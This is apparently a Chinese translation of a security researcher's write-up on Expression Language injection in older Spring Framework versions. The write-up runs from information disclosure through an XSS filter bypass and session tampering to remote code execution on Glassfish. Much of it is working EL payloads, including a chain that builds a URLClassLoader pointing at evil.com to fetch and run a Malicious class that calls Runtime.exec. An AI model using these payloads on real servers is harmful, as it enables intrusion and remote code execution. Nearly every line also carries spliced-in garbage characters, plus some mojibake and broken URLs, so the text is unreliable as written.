Remote Code with9 s* I& j3 b+ I' L! a; e* r0 V9 s$ L
Expression Language Injection2 f( N1 h$ c% G3 G/ y w
Spring Framework脆弱性—DanAmodio
+ t/ [' F& A( t: r6 p3 E. u全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
8 Z" ?( ~- B& @3 [可能会存在风险。
& l6 a, K1 j: Y+ U, s在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的" I$ X9 b6 U! T; |( T9 H7 B
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
7 n: m4 }9 X! @2 `% F以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持," G& I: M# @4 J$ i8 T- }7 ]3 Y. x
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前3 ^% n Q$ v( W5 w5 X+ D f+ w
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。9 L) @2 L7 j. ~9 m% L, O8 a: q! m
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
0 r2 J( f1 m Y. ` q7 J1 F" u我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
6 E: q r( u3 D$ a, x" ~7 f+ ]; N2 g本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。6 T( M4 D! b F: L
这些版本不支持禁用double EL resolution.' H0 @1 A# P" M7 R( q
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
4 o+ h9 V0 |) J" ^ M$ u: LEL2.2容器上可能进行远程代码执行。2 f! ?) O9 t# ?
这是一个原始信息泄露的攻击例子:
/ h2 g/ q9 `0 s请求:
0 n1 [' S) d" h! @: Sttp://vulnerable.com/foo?message=${applicationScope}' |3 ~; J, X/ O6 _( l! v
到达以下内容页面:
$ m$ W, g- i# C, M! X: A结果将输出一些包含内部服务器信息calsspath 和本地工作目录
: t6 {: C* r* t) J你也可以做一些其他事情,如这样:
/ m/ V4 o$ B% h3 r0 l; a${9999+1}
6 z+ r) O& c! j( y还可以访问session 对象和beans! o C) T7 o% h: Y: N: ]
${employee.lastName}
5 I4 r6 ]. @$ Y/ u- r在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
' ?8 G: f' v7 q. A0 s( ~EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
- Z& d( S. U9 ]西,比如XSS.) i3 d: F2 c5 l. f
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
H# x* t+ J( P3 w" O3 A2 Y6 t突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
X2 c$ Q/ Z8 S2 j" X呢?”
Q( d+ F3 k, k- |1 `/ A因此,我尝试巳缦拢�/ y: }" |- H* b& E: U5 W. t% p8 z
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
- ^* j5 `) X. o/ f7 q& M( L' mP$ @/ V, t# {" s3 Q% T) }# f4 t7 N7 Z
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返$ g2 r7 |$ ^- ^3 o: F
回的文本被插入进了spring:message 标签。: r& r1 h' B( |* k, w+ H; J
这里是一个最终绕过过滤的实例:
9 W9 ~5 l E( F5 |5 Yhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
0 l) {0 h" K6 u' w它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
+ n+ y- N* J" G4 Q9 i9 ^什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
3 O$ Q4 ?& H+ d9 L! }经过一番研究,我学习到EL2.2 增加了方法调用。
9 }3 s" S1 N# e8 g, X. y我写了一个快速测试应用程序代码并且检测一些功能9 p9 p6 U9 G" h- V( m
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
" G' d8 I8 M" {% s, \- x, y${pageContext.request.getSession().setAttribute(“admin”,true)}
6 G% K1 x5 P" o( s( q) q好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
/ {, D/ L1 s) @! j指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?/ K1 J" C/ c' q: c9 D$ U
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
8 q8 i) j8 P* J“, 1234)}
9 i. d% c! i6 J% p8 _0 Z/ m${“”.getClass().forName(“java.lang.Runtime”)}
0 B2 d* u& {4 b+ X/ @/ V& Q哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
2 ^4 n$ @- B3 c) C/ r' Z可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函. d* Q3 a- J5 [, W' Q$ I
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
; F; n4 K: q6 r; G一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
) v& X* c! b- \/ l方法签名invoke(Object obj, Object„ args)
. W" c* m/ {# D. U" f XJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问/ s+ d6 l+ Y" w
题,以让它可以工作起来。5 `$ \8 y" r. T% E# a# r3 C }
漏洞利用:
; d- y5 Y) c% U我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
+ q. O. w9 e. f0 P( B1 M希望你们中的一些JAVA奇才告诉我我是如此的可笑。: V$ K% e% V, L7 q: A1 x8 T
这里有一些我试过的失败的用例,为了试图让它工作的用例:
6 ]! m7 I% | _; n1 I# d$ p 写文件到文件系统# y0 S. |+ J( V6 u z; m; p) N
试图载入org.springframework.expression.spel.standard.SpelExpressionParser.2 }' s# |- H5 e: m- R# M# g
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
" i0 F, G+ N& D# r5 m: T. Y${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}) i( l% [% f' U3 ?" }/ @+ y* u' L
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
' Z6 ^; Q" j1 g- ?$ f/ Borg.springframework.expression.spel.standard.SpelExpressionParser not found
: r/ N1 u. M& y, p; u( ]by
0 c; i. l% J# Porg.glassfish.web.javax.servlet.jsp [194].: C0 c2 X* f- [2 g5 o( F
利用反射来修改java.lang.Runtime.currentRuntime的属性为Public) k% g$ T' V4 M+ p9 b
利用反射来创建一个新的Runtime(and watch the world burn)
* O- L5 d6 P5 z${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName% e- c- S \& O% ?- z. p$ E0 B
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}6 c) D! V# P% H( ^+ P) h
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}& a) X+ y9 \) Z: S; _$ P3 P& e' m/ W
使用java.lang.ProcessBuilder
% g) K# d( k/ e" w+ W 用表达式语言来评估表达式语言* C# z( q" g' F. }& O5 o1 k
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
* ?5 N0 I" Q% {7 Y/ R4 J${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
5 F/ _, R$ i g' s“,”".getClass(),null)}5 ]6 M3 w4 F" K' q# {
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
+ s4 P! K8 z& v3 n' k! @我在使用一个空数组通过Method.invoke()时失败了很多次
" \6 q. e. [1 o3 }* `“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
9 o' V& P, F6 `, B1 ]1 s2 Q2 z.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A# w: r3 V$ L" M! ~9 g9 z
rrayList”).newInstance().toArray())/ J0 t* T4 i. _/ v7 ~2 L( A
java.lang.IllegalArgumentException: wrong number of arguments
7 G2 q. q$ W. E最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可) W& e+ }6 u# J7 Y6 x x
以创建一个恶意class文件并且指向类装载器.
1 u, a# O0 n" G5 D我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
$ P6 t( o! Y% ~* A5 \$ K; Y) i; `+ Bpublic class Malicious {
2 z8 Z9 y( |% T* p; x2 V3 zpublic Malicious() {
/ h3 C) Z2 |, \2 k- K$ i) b/ Vtry {& _4 @- T6 Q( c# ~9 @
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
0 @+ X+ h' b/ H: b2 X( ]java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win [5 k! T( H w" W4 M4 D
} catch (Exception e) {( E+ E$ G' ~! ~0 Z" i6 Q7 |
}( W+ o. m, b: z$ l' ~2 z
}
& x1 P4 F5 g0 O4 r, [8 N, J% p* b我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回% o! b* j4 T. I4 P$ |/ C
话中,因此它可以被使用.& b$ f6 f5 m9 E @% \, J8 a
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName. p+ Z$ _" H; O2 s6 F
(“java.util.ArrayList”).newInstance())}- D9 F/ [1 g4 W. e
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建" W/ p: m8 G6 F$ o1 r
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和: V9 W2 U. m& Z7 X m7 f* u
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
5 M! k* S$ k0 u* T0 L我们可以调用的create(string)方法,然后转换对一个URL对象。
9 K# u+ ?) C# D D7 c, Q) t${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
" c& n" x8 e3 W" Oere/malicious/classfile/is/located/”).toURL())}
. V, X. G1 [+ l2 F; q' }8 f然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
% M6 `* r2 u! }% e1 @# J' X3 X) k' F恶意类文件被装载并创建,触发远程代码.
7 D3 N8 I0 s. }" ?, Y) o: Z) x9 L${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
# K3 p1 n( G" \$ y! Vxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
; v- A/ V0 I0 |* L! d3 EgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance4 `% Z! @3 R2 u1 g7 k/ J6 H8 W! `' t
()} |